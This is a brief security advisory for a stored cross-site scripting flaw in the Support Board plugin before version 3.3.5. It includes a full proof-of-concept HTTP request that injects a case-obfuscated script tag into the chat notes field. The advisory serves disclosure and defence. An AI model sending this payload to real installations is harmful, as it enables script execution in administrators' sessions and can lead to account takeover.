Support Board < 3.3.5 - Agent+ Stored Cross-Site Scripting

The plugin allows Authenticated (Agent+) users to perform Cross-Site Scripting attacks by placing a payload in the notes field, when an administrator or any authenticated user go to the chat the XSS will be automatically executed.

PoC

POST /supportboard/include/ajax.php HTTP/1.1 Cookie: [Agent+] Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 808 X-Requested-With: XMLHttpRequest Connection: close function=add-note&conversation;_id=476&user;_id=2&name;=Robert+Smith&message;=%3CScRiPt%3Ealert(/XSS/)%3C%2FsCriPt%3E&login-cookie;=&language;=false